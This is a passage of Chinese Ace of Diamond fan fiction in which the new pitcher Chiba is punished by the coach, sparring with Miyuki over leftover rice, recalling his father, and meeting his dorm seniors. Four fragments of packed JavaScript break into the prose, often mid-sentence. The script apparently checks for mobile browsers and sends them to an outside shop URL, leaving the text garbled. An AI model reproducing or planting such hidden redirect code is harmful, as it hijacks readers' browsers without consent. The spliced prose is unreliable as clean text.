l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926195|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罚了。就因为他不记得国中少棒队那些名字?啊?居然因为这种事吗? 其实千叶很想反驳些什么,可他最后什么都没有讲,他只是闷闷地低下头,对监督鞠了一躬,然后慢慢往食堂走去。 监督想听的并不是他辩解的话,如果不能给他一个满意的反省的话,他是不会让他练习的。 他果然没有自作多情。 他入队的第一天,果然,泡汤了。 —— 透过记录室敞开的窗户,能看到三三两两结伴走出的棒球部成员,高岛礼走到记录室门口,就通过敞开的门看到站在里面的太田部长正在跟片冈监督争论。 “片冈监督,在上一届的三年级毕业后,二军投手只有想转外野的伊佐敷,一军的投手只有三年级的小泉和刚被提拔上去的二年级的丹波,两个人心态还都很有问题,现在正是急需扩充投手丘的时候,就让千叶选手去跑步,这样真的好吗?春假后就有练习赛,虽然川上同学也很有潜力,但他并没有到能上场的时候啊。”太田部长在听说暂停千叶一郎在春假期间的训练时,有些着急又不解。 高岛老师敲敲门示意,太田部长见到她像看到了救星:“高岛老师,你来得正好,赶紧劝一劝片冈监督,我知道学生的教育很重要,但就算是要教育也要给个期限嘛!再过不久就是关东大会和区选拔赛了!” 高岛老师走过去关上窗户,翻看着千叶招生测试时的数据:“的确,千叶同学是一名很有天分的选手,体格、球感、速度这些天赋都很出众,从他的特招表现来看,可以说只要学会一种变化球,即使不够犀利,以他的球速球威和控球在高中阶段也足以对付绝大多数打者,现在也是可以直接上场的程度。” 高岛老师放下册子,对两人笑道,“但我赞同太田部长,是因为我认为千叶他并不是一个不懂感恩的孩子。” “……三个月的时间。” 片冈沉默了一会儿,在高岛老师和太田部长两个人的注视下,抬头对两个人问了一个问题:“你们认为一名成熟的选手用三个月的时间,可以融入一支队伍吗?” “……三个月,时间是很充沛的,按理说是足够的。”太田思考道。 高岛意识到了片冈想要说什么,所以不再开口。 “60码冲刺用时6.8秒,耐力训练能够跟上二年级的节奏,发育期也依旧稳定的控球,没有经过常年的专业训练和指导是不会有这样的成绩的。但这样的选手,在三个月的时间里没有跟队伍熟悉起来。”片冈看着两人道,“千叶一郎的确不是不懂得感恩的学生,但在他国中入队到离队这超过三个月的时间里,他对每天陪伴的教练和队友都没有印象,只记得给他接捕的捕手,无论是不想融入队伍,还是觉得没必要融入,这都是无法接受的。高野棒球流动性很大,今年还在一起打棒球的队友可能明年就会毕业。我希望能改变他,至少让他看到身边都是怎样的一群人在跟他一起打棒球。” “让他跑步的时间不会很长的,在开学后就会让他跟队伍一起训练的。” 5. 美雪 垂头丧气的千叶去了食堂。 给他打饭的是一个不认识的学长,黄头发,长得还行,就是个不高,还留着小胡子。 他走到小胡子学长对面,小胡子学长拿着一个跟他脑门差不多大的碗,看到他过来,狠狠地给他装了一碗结结实实的饭,千叶相信自己要是倒扣一下绝对能达成碗在手而饭不散的成就。 “吃吧!一年级!多吃点!”学长凶狠表情跟他打饭的动作一样豪迈。 千叶默默地看了眼自己脑袋顶挂的牌子,上面写着“一顿需食三大碗”,再看看面前小胡子前辈怼到他餐盘上的沉甸甸的大米饭,千叶蔫蔫地道:“……谢谢前辈。” “嗯!去吧!” 千叶默默地找了个距离人群有点距离的地方坐下,默默地开始吃饭。 早晨就吃这么多真的好吗…… 虽然他长了个大个儿,但其实他吃不下三大碗饭啊。周围的前辈同期怎么都这么吃,都没有人反抗的吗? 那他勉强自己一下吧,应该也是可以做到的。 千叶觉得难过。原本还饿的要死,被监督一顿批评之后,他就没胃口了,现在看着饭,不仅没胃口,还有点反胃了。 “唉~”千叶抱着碗叹气,慢吞吞地开始扒饭,越扒越难过。 这饭不合他胃口,做的米太硬了,他爱吃软饭,配菜也一般,尝着有点咸,虽然还算荤素搭配,但配色不好看,也没个摆盘,很不美观。 他太难过了。 满怀期待来到青道,还没等到跟帅气的捕手打球就先被教练教训了,跑步跑步,他最讨厌的就是跑步,不能因为他跑得快就让他老是跑来跑去啊。难道他就不能做一个渣男跟跑步离婚吗? 片冈监督还让他反省。 反省,反省。他根本不知道自己错在哪,反省什么啊。不记得就是不记得,只是不记得国中少棒教练和队友叫什么而已,他刚入学就知道自己不会跟他们打很长时间棒球了,干嘛还要记名字啊。有那个时间他背一背数学公式历史人物拯救一下他那可怜的考试成绩不是更好嘛! 不尊重。什么叫尊重,难道要他见到每个人都要点头哈腰才叫尊重嘛?不记得名字就叫不尊重嘛?那人也不可能记得每个从来都没说过话的小学同学啊,他对小学同学又没有不尊重!……啊,不对,扯远了。 闷闷不乐的千叶,越想越委屈,越想越生气,用筷子把大米饭插来插去。 “喂,好好吃饭,不要糟蹋粮食啊一年级!”一道大嗓门路过提醒。 “对不起!我会吃掉的!”听到头顶又传来了教训,千叶鼓起脸大声喊道。 怎么今天老是被教训! 千叶抬头,想怒瞪教训他的人来表达自己的愤怒,结果看到一个长得特别难看、脸特别吓人、还挺着大肚子的前辈。 “啊……”千叶一点都没有愤怒了,他差点落泪了。 东清国旁边的小泉次郎,原本还因为这一年级吼了东清国,没大没小的心生不悦,结果看到这孩子一抬头差点被东的脸吓哭了。 小泉次郎完全不记得教训千叶了,只顾捂着肚子嘎嘎地嘲笑东清国:“你这脸真有威力,学弟都差点被你吓哭了,哈哈哈!以后、哈哈哈!以后打击的时候干脆打印个你的照片顶头上,说不定对面投手会吓得投不出球来呢哈哈哈!” “去死啊小泉次郎!我打死你啊!” 脸色涨红的东清国伴随着周围人欢快的笑声,羞恼地跟小泉一路互殴走出了食堂。 目睹这一切的千叶:“……” 他把脸埋进饭里认真地吃饭,决定今天早上再也不抬头看周围的人长什么样子了。 他的心灵受伤了。即使现在有个帅气的捕手过来安慰他,他都不会好的! 早饭就这么消化不良地度过,千叶用半个多小时费劲吃完饭,距离上午的训练大约还有半个小时的时间休息。 别人都能回宿舍,千叶没有宿舍,只能坐在食堂的角落,发呆长蘑菇。 食堂里除了那个小胡子前辈,还有三个队友,他们正被小胡子前辈逮着吃饭。 “喂,川上,好好吃掉最后一口啊!” “是、是!” 听到熟人的名字,千叶无意间望过去一眼。 欸?千叶眼里突然有了光。 瞧瞧他发现了什么,川上对面,好像是一个帅哥? 千叶认真地端详着他。 虽然歪带着帽子只能看到半张脸,但是的,没错,是帅哥。强调一下,确实是池面!五官端正精致,脸型流畅,笑起来很爽朗,美貌完全hou住了他戴的土不拉几的眼镜,青道的棒球队服穿在他身上也很合适很清爽,很好,如果不是刚训练完有点狼狈,这个颜值可以打九分,此处应该有掌声! 啊,感谢青道。他千叶一郎终于看到长得帅的队友了。 虽说他已经下定决心,今早即使有帅哥捕手安慰他他也不高兴,但这可是9分的帅哥欸,难得一见的帅哥! 多么幸运,多么赏心悦目。 他破碎的心灵得到了慰藉,世界终于重新变得美好,花也香了树也绿了,被片冈监督批评的恼火也无影无踪了,郁闷一扫而空飞飞走了,心情也好起来啦。 千叶周围荡漾起幸福的光圈。 帅哥似乎也在注意他,他跟他对视,带着爽朗的笑容,端着没吃完的饭,趁小胡子学长没注意,偷偷跑到他旁边坐下。 “欸,千叶,千叶一郎?” 啊,帅哥知道他的名字,真是遗憾,帅哥自我介绍的时候他没认真听,不知道帅哥叫什么呢。 “你是投手吧?我听你自我介绍说你是投手,我是捕手哦!” 啊,这个帅哥居然还是捕手,老天真的是太过厚爱他了,除了克里斯前辈,居然还有一个这么这么帅的同期做他的捕手啊。 “喂喂,你有在听我说话嘛?”帅哥伸手在他眼前晃了两下。 荡漾着幸福光环的千叶看了笑得灿烂的帅哥同期一眼,心中的雷达突然作响。 虽然是个帅哥,但怎么笑得有点不怀好意,是他的错觉吗?长这么帅,应该不是坏人吧? 千叶低头看了眼问:“你,叫什么名字?” “完全不记得我的自我介绍吗?哈哈。”帅哥笑得更爽朗了,“我叫御幸一也(miyuki 一也)。” “美和子(miyoko),一也?” “是御幸啦,御幸。” “御幸(miyuki),美雪(miyuki)。中岛美雪?” “只是发音一样啦!” “哦,你找我有什么事吗?” “我听说今天上午一年级有段时间可以自由训练,要去投球吗?” 面前名叫御幸的帅气捕手冲他微笑,似乎在向他发起投球邀请。 千叶立刻心动,下一刻又想起了自己还要跑步,扁扁嘴难过:“我不能去训练。” “欸?为什么?” “因为我不记得我青少棒的队名,也不记得之前的教练和队友叫什么,所以监督让我跑步,让我什么时候学会‘尊重’再参加训练。”千叶嘴更扁了,对面前的捕手委委屈屈道。 “尊重”。他对这个词非常有怨念。如果不是它的话他就没有必要跑步了,现在就能让帅哥给他接捕了!要知道他来青道就是为了这个啊! “诶……”御幸惊奇地上下看了他一眼,忽然咧嘴笑道,“居然因为这种事被罚了吗?就因为没记住名字?这么严重吗?不过你这人也蛮有趣的,少棒队名字不记得也就算了,居然连教练和一起打球的队友都不记得啊。没被教练骂过吗?队友都排挤你,从来没讲过话?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926196|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 千叶摇摇头。 他那个东东京少棒队的教练虽然很严厉但从没骂他,队友也没有欺负过他,他可是前辈!他不欺负别人就是好的了,只是确实没有人跟他讲话啦……不对,差点忘了,乾是会主动跟他说话的。 “噗,这个摇头是什么意思啊,你还真是奇怪呢!”捕手看着他忍不住笑起来,“不过也不是什么大问题,高中棒球是新队伍,以前的忘记就忘记了吧,从现在起好好融入就好了。” 御幸说着向他伸出手,微笑道:“我会帮你的。” “……”千叶看着他的手,骨节分明,很宽大又修长,美丽又有安全感。 他忽然从他身上感觉到一种从未有过的感动和信任。这个名叫御幸的捕手,身后像有天使的光环缓缓在他眼前升起来。 能来青道上学真是太好了,他遇到了很好的人啊。 千叶握上御幸的手,回应道:“好。” “嘛,不过不能训练倒是个麻烦的事情,我先去趟洗手间,等我回来我们一起商量一下该怎么办吧!”跟他握完手的御幸说着话站起来,要向门外走去。 千叶心中的警铃这一刻忽然重新响了,而且响得更厉害了。 “等等。”千叶眯起眼睛,一手抓住要逃跑的御幸。 他盯着他,视线从他的脸缓缓移动到他剩下的半碗饭上,问道:“你不会是想把吃不完的饭留给我,自己逃跑吧?” 御幸:“……哈哈。” —— 时间拨回二十分钟前。 御幸一也在吃饭的时候,发现阴暗的角落里坐着一个人。高个子,栗色头发,皮肤白,长得不太像打棒球的。 关注到那个人不是什么难事,入部第一天就被监督叫走的人可不太多,很多人都看到了,在自己坐下吃饭的时候,还听到有前辈八卦那个新人干了什么被教练提过去训话。 他特意跟那些前辈们坐得近了一点,偷听到了他们讲的八卦。 嗯,好像说那个人很厉害的样子,特招测试的时候还引起了轰动。但他犯了什么事被教练叫过去,前辈们没讨论出来。 御幸对那个人有印象,他记得那个人是名投手,在自我介绍的时候他特别记下了他的名字。 ——叫什么来着?千叶一郎?没错没错,是这个名字。 东京地区厉害的投手他都有了解过,这位“千叶一郎”,倒是没在少棒比赛里见过他啊……够神秘的。所以前辈们说的这个“厉害”是真的,还是名不副实呢? 真叫人期待他的投球啊!御幸嘿嘿一笑。 他倒是没想着过去搭讪,因为那人看起来十分生人勿近,贸然打扰惹他不快就不好了,他可不想还没跟投手打好关系就先惹人讨厌,虽然……真的被讨厌也没关系就是啦。 御幸只是观察。 然后确定了自己没有过去搭讪的决定是正确的——这个一年级真的很嚣张啊!比他还嚣张!居然敢直接吼东前辈! 而且吼完居然被东前辈的长相吓到了,那个表情明明白白就是“这个前辈怎么这么难看”的意思吧!所有人都看得出来啊!真的很好懂! 他真是……这人怎么这么好笑啊!太有趣了! 御幸觉得,千叶可能不像他想的那样,是个性格冷淡难以接近的投手。 他还在观察。 凶巴巴的黄毛前辈突然出现在他面前,挡住他的视线:“喂!你这个一年级!赶紧吃,不准剩饭!” 牙白!糟糕了!忘记还有没吃完的饭了! 御幸急忙扒拉两口塞到嘴里,打发走了盯着他的黄毛前辈。 但是还剩这么多……肯定吃不完啊。御幸托着筷子苦恼。 餐厅的人越来越少,御幸看着远处那个吃完饭还坐在原地发呆的投手,一个主意在他脑海里缓缓浮现。 6. 克里斯前辈 牙白!被抓到了!这人明明说话一点没有防备心,怎么这个时候这么警觉啊!难不成不是一个笨蛋吗? 紧张的御幸额头冒出冷汗。 原本在费劲吃饭的川上和白州在前辈的监督下已经快吃完了,等他们离开下一个肯定就是自己了吧,前辈肯定会盯着他的,到时候就跑不掉啦! “啊哈哈哈怎么可能呢,我真的想去洗手间而已!”御幸哈哈尬笑,把衣角费劲从千叶手里拔出来。 “真的吗?”千叶眯起眼睛,立刻再次抓住想要逃跑的衣角。 “真的!” 千叶盯着他,突然回头冲不远处的小胡子前辈大声喊道:“前辈!这里有一个人没吃完饭就要逃跑啊!” “不要这么大声啊,我真的只是要去洗手间……” “啊!那个一年级!吃完再走!” —— 在食堂纷乱后,千叶跟帅哥结下了仇怨。 他不再叫他帅气的捕手了,他叫他可恶的御幸。 怎么会有人才第一次见面就想着坑别人啊,真是太可恶了,亏他长那么帅!亏他还以为他是个好人!果然路边的自来熟的帅哥都是诈骗分子,他就知道世界上根本不会有帅哥单纯被他的人格魅力吸引来跟他搭讪。 消化的差不多的、心中对可恶的御幸很有意见的千叶走出门时,可恶的御幸还在被小胡子前辈监督着吃掉最后一碗饭。 千叶来到外面,走到球场,发现二三年级的前辈已经开始练习了,打击的打击,配合跑垒的跑垒,只有他们这群一年级不知道做什么,还站在球场边震惊。 吃完饭马上训练啊……真的不会胃下垂吗?这群人不会肚子痛吗?这也是强制性的?难道我以后也要这样? 千叶觉得自己不太舒服,蔫巴巴跟其他一年级站在一起看前辈训练。 那个粉头发的二垒手前辈好像长得挺可爱的,就是个子有点矮;一垒手前辈好像长得还可以,看上去是坚毅型的,就是不知道离得近了脸会不会有瑕疵;外野训练的前辈们离得太远看不清长相啊,话说这是一军吧,希望不要有太难看的人……啊,那个餐厅看到的大肚子学长长得不好看……欸!但他打击好厉害。 千叶惊讶地睁大眼睛,看到被东清国打出去的球,一颗一颗飞得远远的,往外野飞去,偶尔还有几颗全垒打。 挥棒速度,力度,精准度,打击专注力……各个方面都很强大,是他见过的同龄人中最强的一个。即使是外行也能从挥棒的气势和带起的风看出来,这一定是个厉害的打者。 果然,棒球不是靠脸打的。千叶凝重地想。 对不起前辈,虽然不知道你叫什么名字,但我以后再也不会在心里偷偷嫌弃你难看、也不会再叫你大肚子前辈了,你好厉害,请你一定要在我身后守备!拜托了! 不过为什么没见到帅气的捕手克里斯前辈呢?千叶向牛棚张望。 “喂,你们几个一年级,别看前辈训练了,你们要在b球场训练。”小泉次郎带着两个人走过来,把他们这群小鸡仔赶到一边去。 在他们经过他们这群一年级的时候,千叶突然注意到了,走在小泉身后那个表情淡淡的人。 微卷的头发搭在额头上,风吹拂而过,露出发丝下那双同样淡漠的眼睛,他就是泷川·克里斯·优。千叶认出他那一定要来青道的“原因”了。 啊,克里斯前辈本人比照片上帅多了。千叶脑子里只有这一个念头。 —— 我要让克里斯前辈,接我的球。 被罚跑步的千叶一边绕着球场跑一边这样想。 就在十分钟前,他跟其他一年级遇到了两个不认识的前辈和他的捕手。 虽然他很快就跟其他一年级被赶到了b球场,没办法看克里斯前辈,但只那一眼,他就下定了决心。 无论如何,他一定要好好表现,争取监督的原谅,让他参加训练,尽早升入一军,只有有实力的投手才有资格挑捕手,他一定要努力让克里斯前辈接他的球! 看看那深邃的五官,美丽的眼睛,高大挺拔的身材,忧郁的气质……克里斯前辈就是你命定的捕手啊!想想办法吧千叶一郎!今天下午结束训练就去找监督承认错误!不就是记不得以前队友和教练的名字嘛,可恶的御幸说得对,过去的事情就让它过去吧!这次他一定会记住队友的名字的! 啊,也不知道一军都是什么水平,打击上他肯定比不上那个胖得很壮实的前辈了,但在投球上他一定要争取比其他人都厉害,这样才能上场让克里斯前辈给他接捕!就从练习一种变化球开始吧!今天晚上就练! ……欸?不对。 千叶发热的脑袋慢慢冷静下来。 什么情况,他刚刚在想什么?居然在想着主动加练吗?他以前可是正常的练习都会想尽办法偷懒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926197|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人啊,一天必须睡足八小时,跑步总是悄悄少圈,外野练习偷偷站着不动,打击练习总是减少,如果搭档太难看就不主动练球…… 天哪,克里斯前辈的魅力这么大吗? 啊,不过克里斯前辈确实很帅啦,而且私下是跟场上不一样的有点忧郁的气质,本来就是王子的长相,再加上这样的气质,不是显得更王子了嘛。而且跟可恶的御幸一也不一样,他的直觉告诉他,这个前辈不会随便捉弄人。满分十分打十分。 一个十分的捕手前辈是值得他努力的!……但还是不要太累了,如果今天晚上跑得都快走不动了,那这个练球的计划还是挪到明天吧。 嗯,没错,就是这样。 “……他可真能跑啊。”中场休息中,看着千叶面无表情一圈一圈绕着操场跑步的前辈有点震惊,“话说他都不会累吗?跑这么长时间一直是一个表情,连呼吸节奏都没变过。跑步这么厉害,干嘛还要来打棒球啊,去跑田径早就能出名了。” 另一个前辈咕咚咕咚补充完水分,也跟着往还在被罚跑的后辈看了一眼:“可能因为那家伙在打棒球上也是个天才吧……你没听说吗?特招投出了145km/h还很有控球的超级新人,小泉前辈和丹波听说后都很有压力呢。” “就是他啊……入队第一天就被监督罚跑了,有够难搞哦。” 喝水的前辈放下水杯,收回眼神拍拍同伴的肩膀,推着他回到球场:“好了,不要嫉妒后辈了,瞧瞧你那个难看的嘴脸!你可是前辈啊,难不成要给他机会让他先进一军吗!赶紧练习去,等开学红白赛上再给他好看!” “你还说我,你不也是吗!难看的嘴脸!”被推着的前辈回头反驳道。 “你以为我想吗?谁让棒球部是个像狼群一样的地方啊!真是的,这群后辈一个个还真是让前辈压力山大……喏,那边还有一个。” 前辈顺着同伴有点怨念的眼神望过去,看向那个正在牛棚里跟投手练习投球的一年级捕手,他正笑着把球扔回伊佐敷手里。 “伊佐敷前辈!虽然球投得很有威力,但是完全、完全没投进好球带哦!” “你这小鬼,对前辈语气尊重一点啊!没投进好球带就算了,那个‘完全’干嘛还要重复两遍啊!” “抱歉抱歉~” 目睹全过程的前辈:“……厉不厉害先另说,但今年不省心的后辈,确实好像格外地多。” 7. 宿舍分配事件(1) 千叶跑了一上午的步,跑累了就在球场旁边的队员席喝水躺尸,休息够了就继续跑。 刚开始他还有闲心想东想西,后来就累得大脑死机,啥也想不起来了。 今天上午,片冈监督在b球场呆了一会儿,给一年级分配完任务就去了a球场,在b球场带着新球员训练的是助教、前辈和偶尔过来看看的高岛礼老师,当然,这一切都跟他没关系,他的任务有且只有跑步。 所以其他人为什么在没有监督的情况也那么积极啊。都没有人想偷懒吗? 千叶觉得自己快死掉了。 没有人偷懒,他一个人一直呆在队员席实在太明显了。 没办法,他只能继续跑。 千叶就这样断断续续地跑了一整天,他以前从来没有这么跑过,中午吃饭的时候就快吐了,实际上食堂也真的有人吐了,据附近的前辈说每年都有这么几个。 运动过了头,越累就越吃不下东西,不吃东西就容易瘦,然后体重就会下降,可他们是打棒球的,不是男明星,不需要上镜保证美观,反而要吃更多东西让自己保持体重,需要减肥的是极少数,反而更多人还需要增肥让自己更壮实。 千叶就是需要增肥的那一个,因此在他拖着疲惫不堪的身躯走到食堂、一进门又看到头顶那个“一天需食三大碗”的牌子的时候,今天的最后一顿饭,成了压垮他的最后一根稻草。 好想哭。好难过。为什么我要来豪强打棒球。为什么我要回日本。为什么我想要去甲子园……我是脑子有毛病么…… 千叶呆站在那个牌子底下,心中是从未有过的悲凉。 其实到日本打棒球是他自己的想法。 在初中二年级的那个夏天,他在电视上第一次看到了日本高中甲子园比赛,虽说没有被里面的某个选手吸引吧,但他确实在那一刻产生了去甲子园打球的渴望。 他老爸说日本高中棒球是全世界最厉害的,虽然美高棒球更全面、与大联盟衔接更直接,但在高中阶段,没有任何一个地方比日本高中甲子园更能锤炼一名棒球球员的能力。全国3000多所高校,决出代表各府道县的49个席位,电视上他看到的这49支队伍,就是最终站在甲子园球场的“赢家”。 “没有拿到甲子园冠军,也可以称作是‘赢家’吗?” “在你老爸我看来,他们确实是赢家啊!因为我在高中的时候从来没去过甲子园啊!”他记得老爸当时哈哈大笑。 即使是棒球名校连续两年没有进入甲子园也是常有的情况,尤其是在西东京这个名校黑马扎堆的绞肉机里,输给哪一支球队都不过分。市大三高的监督带出过届很多甲子园选手,甚至老爸一年级时他三年级的学长们还在夏甲上取得了好成绩,但他老爸却很倒霉地不是其中之一。 没去过甲子园是老爸的遗憾。 他想要到甲子园打棒球,完全不是为了弥补老爸的遗憾。 从他听到了他老爸那句话开始,他心中就出做了决定。 他要站在甲子园的赛场上告诉他老爸,他这个做儿子的比他这个做老子的厉害。 他要报他老爸在他小时候欺负他小,老是把他的球打出去、每次被打出去就要骗他跑步、还跟他的教练嘲笑他、还当面吃了他的冰淇淋说是这胜利者才能享用的、一直把他惹到哭录下来循环播放给他看,还说他哭得像驴叫……的仇。 “妈妈,我想去日本打棒球,我想去甲子园。”于是他对妈妈说了这样一句话。 妈妈不同意。 妈妈一直不怎么支持他打棒球,她的意见暂且不论。奇怪的是,他老爸居然也不希望他去日本打棒球,尤其不同意他说要以进甲子园为目标去打棒球,他说日本球队大多数采用培养王牌的战术,甲子园太消耗投手。 “可多投几场球又不会死。”他当时不以为然。 “但可能会消耗你的投手生涯。”老爸摇头,“在甲子园球场上投废胳膊的投手是没有办法再走职业这条路的。少年的时候觉得甲子园就是一切,学校也鼓励这种精神,但我并不觉得那是好事。可能是我年纪大了吧。 而且你去日本打棒球也不一定能打进甲子园,虽然你在你同龄人里还算厉害,但甲子园球场上比你厉害的选手可多了去了,你排不上号的。” “……你这么一说我不就更想去了吗。” 他在美国初中打棒球时,因为反应快跑得也快,打击也……勉强说得过去,所以他除了做投手外还兼职过游击、外野,甚至他在最开始做的就是游击手,只是他当时那个帅教练发现他传回来的球又快又准,才试着让他上投手丘,结果发现他做投手好像比做游击手更有前途。 虽然他很想在打击上赢过他老爸,但是教练说,如果他能够把他老爸三振出局会让他老爸更生气,所以他做了投手。 到了中学阶段“投手”反而在某些方面比“野手”更受欢迎。 初高中联赛中可以使用打击面更广的铝棒,这让本就是守备中心的投手在比赛中更加重要,一名稳定且有实力的投手是每个学校都想要的。 尤其是日本的中学棒球,跟美国中学棒球不太一样,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926198|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们完全不会对投手做打击要求,守备也只会放到外野,职责划分很明确,投手几乎只有好好投球这一个任务。 对他来说,想在日本打棒球,只要选择一个打击比较厉害的学校就可以了。西东京的棒球豪门就没有不符合这个条件的,虽然他也可以去一个普通学校,但他不想打一人棒球,那样太费脑子,而且有很大几率遇到的队友水平和颜值一样参差不齐,他们还不一定愿意听他指挥。为了甲子园这个目标,还是去强校吧……强校的颜值不一定能行,起码实力应该是有保障的。 唯一需要挑挑拣拣的,就只有捕手的长相,而西东京棒球强校的捕手中,长得最好看的就是青道的泷川·克里斯·优。 所以他在他的坚持下,他到了日本打球,并且进了青道。 ——一切都是他自找的。 “喂,一年级,愣在这里干什么,打了饭就赶紧走!挡住路了!” 身后那个打击很厉害的前辈在催他,语气好凶。 “……对不起。”千叶弱弱地回应,幽灵一般端着饭飘出去。 “他这是怎么了?”身后被他老老实实回应的东清国吓了一跳,赶快回头问在他身后排队的小泉次郎,“中午的时候不还很嚣张吗?” 无语的小泉次郎:“……你是傻子吗,被后辈吼上瘾了。” “还以为那么嚣张能有多厉害呢,才第一天就受不了了啊!” “幸灾乐祸就够了,你这个还带点遗憾的语气是什么鬼啊。” —— 吃饭吃到了全食堂最后一个,千叶也觉得自己很厉害,但他不明白,为什么可恶的御幸会比他吃得快。 当他看到他旁边那个高大但不好看、虽然不好看但一看就很能吃的前辈时,他终于明白了——御幸一也,你是偷偷把饭拨到前辈碗里了吧。 晚餐以后,今天一天的训练就结束了,剩下的时间学长先去洗澡,学长洗完澡再换学弟洗,最后再有两个小时左右自由活动,这一天才算真正地过完了。 千叶好不容易吃完饭,准备去找他的宿舍。 是的,他也是有宿舍的人了。 一路寻寻觅觅找到“青心寮”宿舍楼,里面已经有前辈和同辈在进进出出了。 千叶嫌恶地越过外面挂着的男生的花裤衩,小心翼翼躲过刚挂上去的内搭衬衫,在几个路过的、他不认识的同辈/前辈的注视下,他找到了他挂着他名字的房间,看到旁边还挂着两个前辈的姓名牌。 “菅田信久,丹波、丹波光一郎”千叶勉强记住了这两个前辈的名字。 8. 宿舍分配事件(2) 夜色缓缓罩住寝室楼门口“青心寮”三个大字。 宿舍楼的窗户里漏出三三两两暖黄色的灯光,照亮了楼下的碎石路。一阵晚风吹过,吹来青草和晾衣绳上没有干透的蓝白运动服带着的洗衣粉的气味,惊飞了树梢上栖息的夜鸟。 洗完澡脖子上搭着毛巾的丹波在宿舍楼下,遇到了出去买外面售卖机买波子汽水的菅田信久,他寝室的三年级学长。 “菅田前辈。”丹波犹豫了一下,还是打招呼道。 “啊哦,丹波你回来了,你看到新人了吗。”菅田在听到丹波打招呼时才发现他,随手扔给他一瓶汽水。 “没有。” “太惨了,还以为我们今年运气爆棚能住上双人寝,结果还是来了新人,你知道是谁吗?” 丹波侧头,看到了叉着腰、抬着头,正在寻找他们寝室亮没亮的菅田和他脸上的坏笑。 “……嗯,高岛老师已经告诉我了。” “欸,这么严肃,还以为丹波会表情更难看一点啊,真怀念你去年刚来时动不动就害羞的红脸蛋~” “……”丹波想起来自己去年刚来的时候被这位前辈耍得团团转的画面,心中默默为分到他们寝室的新学弟默哀。 “哎呀,又不讲话了,害羞啦?希望新人也能像丹波这么乖啊……” 意思是希望再来一个可以被你欺负的吧……丹波心想。 两个人一前一后,一起走到寝室门口。 门边已经挂上了“千叶一郎”的姓名牌。 丹波看了那个名字一眼,刚想推门进宿舍时,菅田忽然把他扒拉到后面,自己悄悄把门打开一个小缝。 他在菅田前辈身后,看到里面只有新学弟一个人在整理东西,人长得挺高,看起来却很小,旁边还有一个行李箱,看起来应该是家长过来送了东西就走了,没留下来帮他,所以他有点茫然地找到自己的柜子,一股脑把衣服塞到里面去,然后又在手忙脚乱地铺床单,看上去惨兮兮的。 丹波在他身后有点不自在:“……菅田前辈。” “嘘嘘嘘,别说话。”菅田前辈挥手驱赶他。 他好像知道菅田前辈要做什么了。从昨天听到楼下5号宿舍的惨叫,菅田前辈就开始从双人寝的兴奋,变成了遗憾自己宿舍为什么没有有趣的新人过来。 想到这里的丹波更不自在了:“你别吓到他了……” “拜托,丹波他可是你的竞争对手,你要帮竞争对手说话吗?” “这不是一回事,菅田前辈,我们是前辈……” ——“前辈们好。”一道声音打断了他们。 正在丹波想要阻止前辈的时候,栗色头发肤色很浅的男生在他们面前打开门,淡然地视线在他们身上扫过一圈。 —— 不好。 千叶一郎此时此刻觉得自己好像不太好。 宿舍加上他一共有三人,这事他一开始就知道。 一个长得一般,好在身材不错;另一个长得还行,但好像是个坏蛋。两个人的共同点就是这两个都是前辈。 他不是聋子啊,在开着门的寝室里能听到有人在门口说话,虽然他们俩压低声音了,但是还是能听到啊。怎么会有人在寝室门口商量要不要吓一下新来的学弟啊!啊不对,好像是一个前辈想要吓他,被另一个前辈制止了?——天哪,听说过日本前后辈文化很顽固,所以来到这里之后他一直很注意这方面,他都这么谨慎了,难不成校园欺凌还是会发生在他身上吗? 千叶面无表情地脑子里瞬间刷屏。 以后的生活不会很悲哀吧。也不知道生活在一个氛围差劲的寝室跟骑车上下学相比哪个更惨。 不行,他不能坐以待毙。与其等着被前辈吓,不如主动打开门吓前辈。 ——“前辈们好。” 于是,千叶卡在屋外的前辈没注意到屋内的时候,打开门。 “欧哟!”成功地让那个坏前辈有点被吓到了。坏前辈捂着胸口,惊恐的表情仿佛在问“你怎么突然蹦出来了”。 千叶很得意,他跟老爸斗智斗勇那么多年,可不是白白浪费的。 那个好前辈没什么反应,只是奇怪地表情有点惊讶,随后立刻恢复正常,回应他:“你好,我叫丹波光一郎,是二年级。” 